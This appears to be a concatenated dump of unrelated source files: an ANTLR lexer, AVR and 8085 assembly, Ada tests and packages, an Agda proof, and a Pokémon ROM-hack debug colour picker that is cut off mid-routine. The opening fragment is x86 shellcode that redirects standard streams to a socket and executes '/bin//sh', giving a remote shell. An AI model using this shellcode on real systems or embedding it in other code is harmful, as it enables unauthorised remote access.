xor ecx, ecx ; zeroing ecx
push byte 0x02
pop ecx ; ecx = 0x02
push edi
pop ebx
; Duplicate stdin/stdout/stderr to client socket
;
; dup2(new_sock, 0) - stdin
; dup2(new_sock, 1) - stdout
; dup2(new_sock, 2) - stderr
;
; al = 0x3f
; ebx = client socket new_sock
; ecx = 0x2 => 2, 1, 0 - counter
dup2:
; dup2
mov al, 0x3f ; dup2 = 63 ~ 0x3f
int 0x80
dec ecx ; 2, 1, 0
jns dup2 ; continue to jump to dump2 label (loop) until the signed flag is set
; execve(SHELL, NULL, NULL);
execve:
; execve
push byte 0x0b ; execve = 11 ~ 0x0b
pop eax ; eax = 0x0b
; arg execve(SHELL, NULL, NULL);
xor ecx, ecx ; ecx = 0
push ecx ; null
push ecx ; null
push 0x68732f2f ; "hs//""
push 0x6e69622f ; "nib/"
mov ebx, esp ; copy arguments on the stack to ecx
int 0x80
|
java/src/main/antlr/LuminaryLexer.g4 | DeltixInc/Luminary | 1 | 5202 | lexer grammar LuminaryLexer;
// Special Symbols
ASTERISK: '*';
CLOSING_CURLY_BRACKET: '}';
CLOSING_PARENTHESIS: ')';
CLOSING_SQUARE_BRACKET: ']';
COLON: ':';
COMMA: ',';
EQUALS_SIGN: '=';
GREATER_THAN_SIGN: '>';
LESS_THAN_SIGN: '<';
OPENING_CURLY_BRACKET: '{';
OPENING_PARENTHESIS: '(';
OPENING_SQUARE_BRACKET: '[';
ELLIPSIS: '...';
PERIOD: '.';
QUESTION_MARK: '?';
SEMICOLON: ';';
// Keywords
AS: 'as';
CLASS: 'class';
CONST: 'const';
DECORATOR: 'decorator';
ENUM: 'enum';
FALSE: 'false';
GET: 'get';
IMPORT: 'import';
INTERFACE: 'interface';
NAMESPACE: 'namespace';
NULL: 'null';
OPTION: 'option';
OVERRIDE: 'override';
SET: 'set';
TRUE: 'true';
TYPEOF: 'typeof';
VOID: 'void';
FINAL: 'final';
// Literals
STRING_LITERAL: '"' CHARACTERS? '"';
CHAR_LITERAL: '\'' CHARACTER '\'';
INTEGRAL_LITERAL: '-'? INTEGRAL_LITERAL_DIGITS ( 'i64' | 'i32'? | 'i16' | 'i8' ) |
INTEGRAL_LITERAL_DIGITS ( 'u64' | 'u32' | 'u16' | 'u8' );
BINARY_FLOATING_POINT_LITERAL: '-'? DEC_DIGITS PERIOD DEC_DIGITS? EXPONENT_PART? '-'* FLOATING_TYPE_SUFFIX? |
'-'? PERIOD DEC_DIGITS EXPONENT_PART? '-'* FLOATING_TYPE_SUFFIX? |
'-'? DEC_DIGITS EXPONENT_PART '-'* FLOATING_TYPE_SUFFIX? |
'-'? DEC_DIGITS '-'* FLOATING_TYPE_SUFFIX;
DECIMAL_FLOATING_POINT_LITERAL: '-'? DEC_DIGITS PERIOD DEC_DIGITS? EXPONENT_PART? '-'* DECIMAL_TYPE_SUFFIX |
'-'? PERIOD DEC_DIGITS EXPONENT_PART? '-'* DECIMAL_TYPE_SUFFIX |
'-'? DEC_DIGITS EXPONENT_PART '-'* DECIMAL_TYPE_SUFFIX |
'-'? DEC_DIGITS '-'* DECIMAL_TYPE_SUFFIX;
// Identifier
IDENTIFIER: [a-zA-Z] [_a-zA-Z0-9]*;
// Whitespaces and Comments
WHITESPACE: [ \t]+ -> skip;
NEW_LINE: ('\r' '\n' | '\n') -> skip;
DOCUMENTATION_COMMENTS: '///' ~[\r\n]* -> channel(HIDDEN);
SINGLE_LINE_COMMENT: '//' ~[\r\n]* -> skip;
MULTI_LINE_COMMENT: '/*' .*? '*/' -> skip;
// Fragments
fragment EXPONENT_PART: ('e'|'E')? DEC_INTEGER;
fragment FLOATING_TYPE_SUFFIX: ('f64' | 'f32');
fragment DECIMAL_TYPE_SUFFIX: ('d64');
fragment INTEGRAL_LITERAL_DIGITS: HEX_INTEGER | DEC_INTEGER | OCT_INTEGER | BIN_INTEGER;
fragment DEC_DIGITS: [0-9][0-9_]*;
fragment HEX_INTEGER: '0x' [0-9a-fA-F_]+;
fragment DEC_INTEGER: ('0' | [1-9][0-9_]*);
fragment OCT_INTEGER: '0o' [0-7_]+;
fragment BIN_INTEGER: '0b' [0-1_]+;
fragment CHARACTERS: (~[\\\r\n"] | '\\' ['"?abfnrtv\\])*;
fragment CHARACTER: (~[\\\r\n\'] | '\\' ['"?abfnrtv\\]);
|
code/main.asm | nodiz/projectMatrix | 0 | 89432 | ;
; projectMatrix.asm
;
; Created: 08.05.2018 16:56:25
; Author : <NAME> & <NAME>
.include "macros.asm" ; include macro definitions
.include "definitions.asm" ; include register/constant definitions
; on aurait pu utiliser plus de macros afin d'am�liorer la lisibilit� du code (bcp de morceaux qu'on a �crit existent en macro !)
; simplement on n'avait pas consience de leur existance au moment du d�veloppement.
; "La transmission des bits est r�alis�e au moyen de macros plut�t que par des boucles afin de garantir des timings pr�cis" -> avrLED
; pages 28, 34-37 pour nettoyer l'utilisation des variables
; d�finir les appels des registres par des noms constants (changement plus facile)
; ==================================== interrupt table =====================================
jmp reset
.org 0x0a
jmp int_4 ; PINE4..7
jmp int_5
jmp int_6
.org 0x24
jmp uart_rxc
; ============================== interrupt service routines ================================
int_4:
int_5: lds a1,mode
rcall encoder ; TO DO : correct interrupts (encoder)
CYCLIC a1,1,4 ; rapport, page 72 polycop pour MACROS, 127 pour ROUTINES,
sts mode,a1 ; CYCLIC prend des nombres entre 1 et 255 => n�cessiter d'incr�menter avant car on traite entre 0 et 3 sinon...
dec a1
rcall LCD_clear
LCDPUTS str0
rcall LCD_lf
LCDPUTS str1
rjmp int_6_endLoad
int_6: lds a1,mode ; sale incoming, chercher � changer pour la table de sauts ?
dec a1
int_6_endLoad:
wdr ; reset watchdog timer
cbi UCSR0B, RXEN0 ; disable interrupt UART
rcall led_clear_all
sbrc a1,1
rjmp modes_23 ; <=> PC+6 because jmp is 2 words long /!\
sbrs a1,0
jmp animation
jmp jeu
modes_23:
sbrs a1,0
jmp spectro
jmp message
uart_rxc:
in _w, UDR0
CB_PUSH _w
reti
; =========================== constant chains & SRAM variables ============================= ; move to definition.asm ?
.dseg ; SRAM variables
mode: .byte 1
.cseg
tetris: ; music score
.db mi2,mi2,ns,si,ns,do2,ns,re2,re2,ns,do2,ns,si,ns, la,la,ns,la,ns,do2,ns,mi2,mi2,ns,re2,ns,do2,ns ; odd number of bytes => padding
.db si,si,ns,do2,do2,ns,re2,re2,ns,mi2,mi2,ns, do2,do2,ns,la,la,ns,la,la,la,la,ns, re2
.db re2,ns,re2,fa2,la2,la2,ns,so2,ns,fa2,ns, mi2,mi2,ns,mi2,ns,do2,ns,mi2,mi2,ns,re2,ns,do2,ns, si
.db si,ns,do2,do2,ns,re2,re2,ns,mi2,mi2,ns, do2,do2,ns,la,la,ns,la,la,la,la,ns,end, end,end,end,end,end,end,end
victory_anim: ; led patterns
.db 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 0x7f,0x3f,0x1f,0x0f,0x07,0x03,0x01, 0x00
.db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80, 0xc0,0xe0,0xf0,0xf8,0xfc,0xfe
.db 0xff,0xff,0xff,0xff,0xff,0xff,0xff,eoc
; menu display
str0: .db "ANIMATION jeu","animation JEU","animation jeu","animation jeu"
str1: .db "spectro message","spectro message","SPECTRO message","spectro MESSAGE"
; ================================= initialization (reset) =================================
reset: LDSP RAMEND ; load SP
rcall LCD_init ; initialize the LCD
OUTI EIMSK, 0b01110000 ; INT7..0
OUTEI EICRB, 0b00001010 ; INT7..4
OUTI DDRB, 0xff ; output LEDs
OUTI PORTB,0xff ; turn off LEDs
OUTI DDRD, 0x00 ; input switchers
rcall LCD_init ; initialize the LCD
rcall encoder_init ; initialize rotary encoder
OUTI DDRE,0b00000010 ; make Tx (PE1) an output
sbi PORTE,PE1 ; set Tx to high
sbi DDRE, SPEAKER ; initialize speaker Sound -> sbi // Mute -> cbi
sbi UCSR0B, RXCIE0 ; condenser l'?criture
cbi UCSR0B, UCSZ02
ldi w,(1<<UCSZ01)+(1<<UCSZ00)
sts UCSR0B, w ; 8-bit, 1 stop bit, parity disabled CHECK
ldi a1,0x01 ; initialize mode value to 1
sts mode,a1
dec a1 ; initialize encoder value to 0
LCDPUTS str0 ; display default menu
rcall LCD_lf
LCDPUTS str1
wdr ; reset watchdog timer
ldi w,0x18 ; watchdog enable procedure (Safety level 1)
out WDTCR, w
ldi w,0x0f
out WDTCR, w
ldi w, 0x0f ; load color for boot animation
mov r2,w
mov r4,w
mov r5,w
rcall anim_stand_by ; boot animation
sei ; set global interrupt
jmp animation ; default mode
.include "encoder.asm" ; include rotary encoder routines
.include "lcd.asm" ; include the LCD routines
.include "printf.asm" ; include formated printing routines
.include "sound.asm" ; include sound routine
.include "avrLED.asm" ; include matrix routine
.include "animation.asm" ; include animation mode
.include "jeu.asm" ; include game mode
.include "spectro.asm" ; include spectrometer mode
.include "message.asm" ; include message mode
; ------------------------------------------------------------------------------------------
animation:
LDSP RAMEND ; Branch here w/ rcall but infinite loop => no ret => no use for all the prior infos on the stack
rcall mode_anim ; => free memory to avoid eventual saturation
; ------------------------------------------------------------------------------------------
jeu:
LDSP RAMEND
rcall mode_jeu
; ------------------------------------------------------------------------------------------
spectro:
LDSP RAMEND
rcall mode_spectro
; ------------------------------------------------------------------------------------------
message:
LDSP RAMEND
rcall mode_message
; ------------------------------------------------------------------------------------------
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/cb/cb4004a.ada | best08618/asylo | 7 | 6242 | -- CB4004A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT VARIOUS EXCEPTIONS IN THE BODY OF A SUBPROGRAM WITH
-- AN APPLICABLE HANDLER ARE HANDLED LOCALLY.
-- DAT 04/15/81
-- JRK 04/24/81
-- SPS 11/02/82
-- EG 10/30/85 ELIMINATE THE USE OF NUMERIC_ERROR IN TEST.
WITH REPORT; USE REPORT;
PROCEDURE CB4004A IS
E, F : EXCEPTION;
STORAGE_ERROR: EXCEPTION;
I1 : INTEGER RANGE 1 .. 1;
FUNCTION F1 (I : INTEGER) RETURN BOOLEAN IS
BEGIN
CASE I IS
WHEN 1 => RAISE E;
WHEN 2 => RAISE STORAGE_ERROR;
WHEN 3 => I1 := 4;
WHEN 4 => RAISE TASKING_ERROR;
WHEN OTHERS => NULL;
END CASE;
RETURN FALSE;
EXCEPTION
WHEN E | F => RETURN I = 1;
WHEN STORAGE_ERROR => RETURN I = 2;
WHEN PROGRAM_ERROR | CONSTRAINT_ERROR =>
RETURN I = 3;
WHEN OTHERS => RETURN I = 4;
END F1;
BEGIN
TEST ("CB4004A", "EXCEPTIONS WITH LOCAL HANDLERS ARE HANDLED"
& " THERE");
BEGIN
FOR L IN 1 .. 4 LOOP
IF F1(L) /= TRUE THEN
FAILED ("LOCAL EXCEPTIONS DON'T WORK");
EXIT;
END IF;
END LOOP;
EXCEPTION
WHEN OTHERS =>
FAILED ("WRONG HANDLER");
END;
RESULT;
END CB4004A;
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/specs/self_class.ads | best08618/asylo | 7 | 534 | -- { dg-do compile }
package Self_Class is
type P6 is private;
private
type P6 is tagged record
Self : access P6'Class;
end record;
end Self_Class;
|
WEEK-7/7.asm | ShruKin/Microprocessor-and-Microcontroller-Lab | 0 | 168380 | LXI SP,9FFF
LDA 9000
MOV D,A // D is Multipliant
LDA 9001
MOV C,A // C is Multiplier
MVI B,00
MVI E,08 // E is counter
MVI A,00
LOOP: MOV A,C
ANI 01 // checking LSB
JNZ ONE
CALL SHIFT
JMP COUNTER
ONE: MOV A,B
ADD D
MOV B,A
CALL SHIFT
COUNTER: DCR E
JNZ LOOP
MOV A,C
STA 9002
MOV A,B
STA 9003
HLT
SHIFT: MOV A,B
RAR
MOV B,A
MOV A,C
RAR
MOV C,A
RET
|
asm/por_fix_death_softlock.asm | Iemnur/DSVEdit | 70 | 100463 | <gh_stars>10-100
.nds
.relativeinclude on
.erroronwarning on
; Fixes a vanilla bug where skipping the cutscene after you kill Death too quickly will prevent Death's boss death flag from being set.
; As a result of that bug the boss doors would relock after you exit the room, though Death himself wouldn't ever be fightable again.
.open "ftc/overlay9_64", 022D7900h
.org 0x022D8B18
nop
.close
|
src/trades.ads | thindil/steamsky | 80 | 13829 | <gh_stars>10-100
-- Copyright 2017-2021 <NAME>
--
-- This file is part of Steam Sky.
--
-- Steam Sky is free software: you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation, either version 3 of the License, or
-- (at your option) any later version.
--
-- Steam Sky is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with Steam Sky. If not, see <http://www.gnu.org/licenses/>.
with Ada.Strings.Unbounded; use Ada.Strings.Unbounded;
with Bases; use Bases;
with Items; use Items;
with Ships; use Ships;
-- ****h* Trades/Trades
-- FUNCTION
-- Provides code for trading with ships and bases
-- SOURCE
package Trades is
-- ****
-- ****v* Trades/Trades.TraderCargo
-- FUNCTION
-- List of all cargo in trader ship
-- SOURCE
TraderCargo: BaseCargo_Container.Vector;
-- ****
-- ****e* Trades/Trades.Trade_Cant_Buy
-- FUNCTION
-- Raised when items is not available to buy
-- SOURCE
Trade_Cant_Buy: exception;
-- ****
-- ****e* Trades/Trades.Trade_Not_For_Sale_Now
-- FUNCTION
-- Raised when no items available at this time for sale
-- SOURCE
Trade_Not_For_Sale_Now: exception;
-- ****
-- ****e* Trades/Trades.Trade_Buying_Too_Much
-- FUNCTION
-- Raised when player trying buy more than can
-- SOURCE
Trade_Buying_Too_Much: exception;
-- ****
-- ****e* Trades/Trades.Trade_No_Free_Cargo
-- FUNCTION
-- Raised when no enough free cargo in ship
-- SOURCE
Trade_No_Free_Cargo: exception;
-- ****
-- ****e* Trades/Trades.Trade_No_Money
-- FUNCTION
-- Raised when player don't have money
-- SOURCE
Trade_No_Money: exception;
-- ****
-- ****e* Trades/Trades.Trade_Not_Enough_Money
-- FUNCTION
-- Raised when player don't have enough money
-- SOURCE
Trade_Not_Enough_Money: exception;
-- ****
-- ****e* Trades/Trades.Trade_Invalid_Amount
-- FUNCTION
-- Raised when player enter invalid amount
-- SOURCE
Trade_Invalid_Amount: exception;
-- ****
-- ****e* Trades/Trades.Trade_Too_Much_For_Sale
-- FUNCTION
-- Raised when player try sell more than have
-- SOURCE
Trade_Too_Much_For_Sale: exception;
-- ****
-- ****e* Trades/Trades.Trade_No_Money_In_Base
-- FUNCTION
-- Raised when base don't have enough money for buy item
-- SOURCE
Trade_No_Money_In_Base: exception;
-- ****
-- ****e* Trades/Trades.Trade_No_Trader
-- FUNCTION
-- Raised when no one is assigned to talk in bases duty
-- SOURCE
Trade_No_Trader: exception;
-- ****
-- ****f* Trades/Trades.BuyItems
-- FUNCTION
-- Buy items from bases or trader
-- PARAMETERS
-- BaseItemIndex - Base or ship cargo index of item to buy
-- Amount - Amount of items to buy
-- SOURCE
procedure BuyItems
(BaseItemIndex: BaseCargo_Container.Extended_Index; Amount: String) with
Pre => Amount'Length > 0,
Test_Case => (Name => "Test_BuyItems", Mode => Nominal);
-- ****
-- ****f* Trades/Trades.SellItems
-- FUNCTION
-- Sell items from bases or trader
-- PARAMETERS
-- ItemIndex - Player ship cargo index of item to sell
-- Amount - Amount of items to sell
-- SOURCE
procedure SellItems
(ItemIndex: Inventory_Container.Extended_Index; Amount: String) with
Pre => ItemIndex in
Player_Ship.Cargo.First_Index .. Player_Ship.Cargo.Last_Index and
Amount'Length > 0,
Test_Case => (Name => "Test_SellItems", Mode => Nominal);
-- ****
-- ****f* Trades/Trades.GenerateTraderCargo
-- FUNCTION
-- Generate list of cargo to trade
-- PARAMETERS
-- ProtoIndex - Index of prototype ship which will be used to generate
-- cargo
-- SOURCE
procedure GenerateTraderCargo(ProtoIndex: Unbounded_String) with
Pre => Proto_Ships_Container.Contains(Proto_Ships_List, ProtoIndex),
Test_Case => (Name => "Test_GenerateTraderCargo", Mode => Nominal);
-- ****
end Trades;
|
awa/plugins/awa-counters/src/awa-counters.adb | fuzzysloth/ada-awa | 81 | 7039 | <gh_stars>10-100
-----------------------------------------------------------------------
-- awa-counters --
-- Copyright (C) 2015 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with AWA.Counters.Modules;
package body AWA.Counters is
use type Util.Strings.Name_Access;
use type ADO.Schemas.Class_Mapping_Access;
function "&" (Left : in String;
Right : in Counter_Def) return String is
begin
if Right.Table = null then
return Left & "[" & Right.Field.all & "]";
else
return Left & "[" & Right.Table.Table.all & ", " & Right.Field.all & "]";
end if;
end "&";
function "=" (Left, Right : in Counter_Def) return Boolean is
begin
return Left.Table = Right.Table and Left.Field = Right.Field;
end "=";
function "<" (Left, Right : in Counter_Def) return Boolean is
begin
if Left.Table = Right.Table then
return Left.Field.all < Right.Field.all;
elsif Left.Table = null then
return False;
elsif Right.Table = null then
return True;
else
return Left.Table.Table.all < Right.Table.Table.all;
end if;
end "<";
-- ------------------------------
-- Increment the counter identified by <tt>Counter</tt> and associated with the
-- database object <tt>Object</tt>.
-- ------------------------------
procedure Increment (Counter : in Counter_Index_Type;
Object : in ADO.Objects.Object_Ref'Class) is
Module : constant AWA.Counters.Modules.Counter_Module_Access
:= AWA.Counters.Modules.Get_Counter_Module;
begin
Module.Increment (Counter, Object);
end Increment;
-- ------------------------------
-- Increment the counter identified by <tt>Counter</tt> and associated with the
-- database object key <tt>Key</tt>.
-- ------------------------------
procedure Increment (Counter : in Counter_Index_Type;
Key : in ADO.Objects.Object_Key) is
Module : constant AWA.Counters.Modules.Counter_Module_Access
:= AWA.Counters.Modules.Get_Counter_Module;
begin
Module.Increment (Counter, Key);
end Increment;
-- ------------------------------
-- Increment the global counter identified by <tt>Counter</tt>.
-- ------------------------------
procedure Increment (Counter : in Counter_Index_Type) is
Module : constant AWA.Counters.Modules.Counter_Module_Access
:= AWA.Counters.Modules.Get_Counter_Module;
begin
Module.Increment (Counter);
end Increment;
end AWA.Counters;
|
theorems/groups/PropQuotUniqueFactorization.agda | mikeshulman/HoTT-Agda | 0 | 10672 | {-# OPTIONS --without-K --rewriting #-}
open import HoTT
import homotopy.ConstantToSetExtendsToProp as ConstExt
{-
q[_]ᴳ
G/Q ↞------ G
↑ ↑
φ₂ ╎ ╎ inject
↑ ↑
H ↞------- P
φ₁
Then, H ≃ᴳ P/Q.
-}
module groups.PropQuotUniqueFactorization
{i j l₁ l₂} {G : Group i} {H : Group j}
(P : SubgroupProp G l₁)
(Q : NormalSubgroupProp G l₂)
(φ₁ : Subgroup P →ᴳ H) (φ₁-is-surj : is-surjᴳ φ₁)
(φ₂ : H →ᴳ QuotGroup Q) (φ₂-is-inj : is-injᴳ φ₂)
(φ-comm : ∀ p → GroupHom.f (φ₂ ∘ᴳ φ₁) p == q[ fst p ])
where
private
module G = Group G
module H = Group H
module P = Subgroup P
module φ₁ = GroupHom φ₁
module φ₂ = GroupHom φ₂
P/Q-prop : NormalSubgroupProp (Subgroup P) l₂
P/Q-prop = quot-of-sub P Q
P/Q : Group (lmax i (lmax l₁ l₂))
P/Q = QuotGroup P/Q-prop
module P/Q = Group P/Q
module _ (k : Group.El H) where
H-to-P/Q-f' : hfiber φ₁.f k → P/Q.El
H-to-P/Q-f' (p , _) = q[ p ]
abstract
H-to-P/Q-f'-const : (hf₁ hf₂ : hfiber φ₁.f k)
→ H-to-P/Q-f' hf₁ == H-to-P/Q-f' hf₂
H-to-P/Q-f'-const (h₁ , r₁) (h₂ , r₂) =
quot-relᴳ {P = P/Q-prop} $ <– (quot-relᴳ-equiv {P = Q}) $
! (φ-comm h₁) ∙ ap φ₂.f (r₁ ∙ ! r₂) ∙ φ-comm h₂
module HToP/Q = ConstExt P/Q.El-is-set
H-to-P/Q-f' H-to-P/Q-f'-const
H-to-P/Q-f : Trunc -1 (hfiber φ₁.f k) → P/Q.El
H-to-P/Q-f = HToP/Q.ext
H-to-P/Q-f-is-const : ∀ hf₁ hf₂ → H-to-P/Q-f hf₁ == H-to-P/Q-f hf₂
H-to-P/Q-f-is-const = HToP/Q.ext-is-const
abstract
H-to-P/Q-f-comp : (k₁ k₂ : H.El)
→ (hf₁₂ : Trunc -1 (hfiber φ₁.f (H.comp k₁ k₂)))
→ (hf₁ : Trunc -1 (hfiber φ₁.f k₁))
→ (hf₂ : Trunc -1 (hfiber φ₁.f k₂))
→ H-to-P/Q-f (H.comp k₁ k₂) hf₁₂ == P/Q.comp (H-to-P/Q-f k₁ hf₁) (H-to-P/Q-f k₂ hf₂)
H-to-P/Q-f-comp k₁ k₂ hf₁₂ = Trunc-elim
(λ hf₁ → Π-is-prop λ hf₂ →
P/Q.El-is-set _ (P/Q.comp (H-to-P/Q-f k₁ hf₁) (H-to-P/Q-f k₂ hf₂)))
(λ{(p₁ , r₁) → Trunc-elim
(λ hf₂ → P/Q.El-is-set _ (P/Q.comp q[ p₁ ] (H-to-P/Q-f k₂ hf₂)))
(λ{(p₂ , r₂) → H-to-P/Q-f-is-const (H.comp k₁ k₂)
hf₁₂ [ P.comp p₁ p₂ , φ₁.pres-comp p₁ p₂ ∙ ap2 H.comp r₁ r₂ ]})})
H-to-P/Q : H →ᴳ P/Q
H-to-P/Q = record {
f = λ k → H-to-P/Q-f k (φ₁-is-surj k);
pres-comp = λ k₁ k₂ → H-to-P/Q-f-comp k₁ k₂
(φ₁-is-surj (H.comp k₁ k₂)) (φ₁-is-surj k₁) (φ₁-is-surj k₂)}
H-iso-P/Q : H ≃ᴳ P/Q
H-iso-P/Q = H-to-P/Q , is-eq to from to-from from-to where
to : H.El → P/Q.El
to = λ k → H-to-P/Q-f k (φ₁-is-surj k)
from : P/Q.El → H.El
from = SetQuot-rec H.El-is-set
(λ p → φ₁.f p)
(λ {p₁} {p₂} q'p₁p₂⁻¹ → φ₂-is-inj (φ₁.f p₁) (φ₁.f p₂) $
φ-comm p₁ ∙ quot-relᴳ {P = Q} q'p₁p₂⁻¹ ∙ ! (φ-comm p₂))
abstract
to-from : ∀ p/q → to (from p/q) == p/q
to-from = SetQuot-elim (λ p/q → raise-level -1 $ P/Q.El-is-set _ p/q)
(λ p → H-to-P/Q-f-is-const (φ₁.f p) (φ₁-is-surj (φ₁.f p)) [ p , idp ])
(λ _ → prop-has-all-paths-↓ $ P/Q.El-is-set _ _)
from-to' : ∀ k (hf : Trunc -1 (hfiber φ₁.f k)) → from (H-to-P/Q-f k hf) == k
from-to' k = Trunc-elim (λ hf → H.El-is-set (from (H-to-P/Q-f k hf)) k) (λ{(p , r) → r})
from-to : ∀ k → from (to k) == k
from-to k = from-to' k (φ₁-is-surj k)
|
engine/debug/color_picker.asm | AtmaBuster/pokeplat-gen2 | 6 | 27963 | <reponame>AtmaBuster/pokeplat-gen2<gh_stars>1-10
DebugColorPicker::
ldh a, [hJoyDown]
and SELECT
jp nz, DebugMenu_TrainerPics
DebugMenu_PokePics:
ld a, LOW(BULBASAUR)
ldh [hDebugMenuDataBuffer + 1], a
xor a
ld [wMenuCursorY], a
ldh [hDebugMenuCursorPos], a
ldh [hDebugMenuDataBuffer], a
ldh [hDebugMenuDataBuffer + 2], a
hlcoord 0, 0
lb bc, 16, 18
call Textbox
hlcoord 0, 0
lb bc, 7, 7
call Textbox
hlcoord 1, 9
lb bc, 6, 6
call Textbox
hlcoord 1, 1
lb bc, 7, 7
xor a
ldh [hGraphicStartTile], a
predef PlaceGraphic
hlcoord 2, 10
lb bc, 6, 6
ld a, $31
ldh [hGraphicStartTile], a
predef PlaceGraphic
hlcoord 1, 1, wAttrMap
lb bc, 7, 7
ld a, 1
call FillBoxWithByte
hlcoord 2, 10, wAttrMap
lb bc, 6, 6
ld a, 1
call FillBoxWithByte
call WaitBGMap2
call .change_pic
call .put_color_labels
.input
call JoyTextDelay
call GetMenuJoypad
ldh a, [hJoyDown]
bit A_BUTTON_F, a
jr nz, .a_held
ldh a, [hJoyPressed]
.a_held
bit START_F, a
jr nz, .toggle_edit_mode
bit B_BUTTON_F, a
ret nz
bit D_LEFT_F, a
jr nz, .left
bit D_RIGHT_F, a
jr nz, .right
bit D_DOWN_F, a
jr nz, .down
bit D_UP_F, a
jr nz, .up
bit SELECT_F, a
jr nz, .swap_pals
jr .input
.toggle_edit_mode
ldh a, [hDebugMenuCursorPos]
xor 1
ldh [hDebugMenuCursorPos], a
call .update_edit_display
jr .input
.up
ld a, [wMenuCursorY]
and a
jr nz, .up_ok
ld a, 12
.up_ok
dec a
ld [wMenuCursorY], a
jp .update_pal_cursor
.down
ld a, [wMenuCursorY]
inc a
cp 12
jr nz, .down_ok
xor a
.down_ok
ld [wMenuCursorY], a
jp .update_pal_cursor
.left
ldh a, [hDebugMenuCursorPos]
and a
jp nz, .left_pal
ldh a, [hDebugMenuDataBuffer]
ld h, a
ldh a, [hDebugMenuDataBuffer + 1]
ld l, a
dec hl
ld a, h
or l
jr nz, .cont
ld hl, NUM_POKEMON
jr .cont
.right
ldh a, [hDebugMenuCursorPos]
and a
jp nz, .right_pal
ldh a, [hDebugMenuDataBuffer]
ld h, a
ldh a, [hDebugMenuDataBuffer + 1]
ld l, a
inc hl
ld a, h
cp HIGH(NUM_POKEMON)
jr c, .cont
ld a, l
cp LOW(NUM_POKEMON) + 1
jr c, .cont
ld hl, 1
.cont
ld a, h
ldh [hDebugMenuDataBuffer], a
ld a, l
ldh [hDebugMenuDataBuffer + 1], a
call .change_pic
jp .input
.swap_pals
ld hl, hDebugMenuDataBuffer + 2
ld a, 1
xor [hl]
ld [hl], a
call .load_pal
call .print_all_colors
jp .input
.change_pic
call DisableLCD
call .print_all_colors
ldh a, [hDebugMenuDataBuffer]
ld h, a
ldh a, [hDebugMenuDataBuffer + 1]
ld l, a
call GetPokemonIDFromIndex
ld [wCurPartySpecies], a
ld de, vTiles2
predef GetMonFrontpic
ld de, vTiles2 tile $31
predef GetMonBackpic
.load_pal
farcall DebugMenuPokePicColors
hlcoord 9, 1
ld bc, 3
ld a, " "
call ByteFill
ld de, hDebugMenuDataBuffer
lb bc, 2, 3
hlcoord 9, 1
call PrintNum
hlcoord 9, 2
ld bc, 10
ld a, " "
call ByteFill
ldh a, [hDebugMenuDataBuffer]
ld h, a
ldh a, [hDebugMenuDataBuffer + 1]
ld l, a
call GetPokemonIDFromIndex
ld [wNamedObjectIndexBuffer], a
call GetPokemonName
ld de, wStringBuffer1
hlcoord 9, 2
call PlaceString
call EnableLCD
call DelayFrame
ret
.left_pal
call .get_pal_color
and a
jp z, .input
xor a
call .set_pal_color
jr .update_pal_edit
.right_pal
call .get_pal_color
cp $1f
jp z, .input
ld a, 3
call .set_pal_color
jr .update_pal_edit
.update_pal_edit
call .get_pal_color
ldh [hDebugMenuDataBuffer + 4], a
ld bc, SCREEN_WIDTH
hlcoord 14, 5
ld a, [wMenuCursorY]
call AddNTimes
ld de, hDebugMenuDataBuffer + 4
lb bc, $81, 2
call PrintNum
farcall DebugMenuPokePicApplyPal
jp .input
.update_pal_cursor
call ._update_pal_cursor
jp .input
._update_pal_cursor
ld a, " "
hlcoord 9, 5
ld bc, SCREEN_WIDTH
ld d, 12
.update_pal_cursor_loop
ld [hl], a
add hl, bc
dec d
jr nz, .update_pal_cursor_loop
hlcoord 9, 5
ld a, [wMenuCursorY]
call AddNTimes
ld a, "▶"
ld [hl], a
ret
.get_pal_color
call .get_pal_addr
ld a, [hli]
ld h, [hl]
ld l, a
ld a, d
and a
jr z, .get_pal_done
call .hl_r_5
dec a
jr z, .get_pal_done
call .hl_r_5
.get_pal_done
ld a, l
and $1f
ret
.set_pal_color
push af
call .get_pal_addr
pop af
add d
push af
ld a, [hli]
ld d, [hl]
ld e, a
pop af
add a
push hl
ld hl, .color_delta
ld b, 0
ld c, a
add hl, bc
ld a, [hli]
ld b, [hl]
ld c, a
ld h, d
ld l, e
add hl, bc
ld d, h
ld e, l
pop hl
ld [hl], d
dec hl
ld [hl], e
ret
.print_all_colors
hlcoord 14, 5
xor a
ld [wMenuCursorY], a
ld d, 12
.print_color_loop
push de
push hl
call .get_pal_color
pop hl
ldh [hDebugMenuDataBuffer + 4], a
